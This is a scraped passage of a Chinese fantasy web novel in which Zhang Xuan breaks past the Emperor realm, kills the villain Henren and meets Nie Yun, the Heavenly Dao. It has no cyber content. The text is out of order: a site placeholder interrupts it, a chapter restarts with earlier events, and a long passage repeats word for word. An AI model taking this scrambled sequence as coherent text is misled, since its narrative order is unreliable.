灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第二十二章 张扬 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 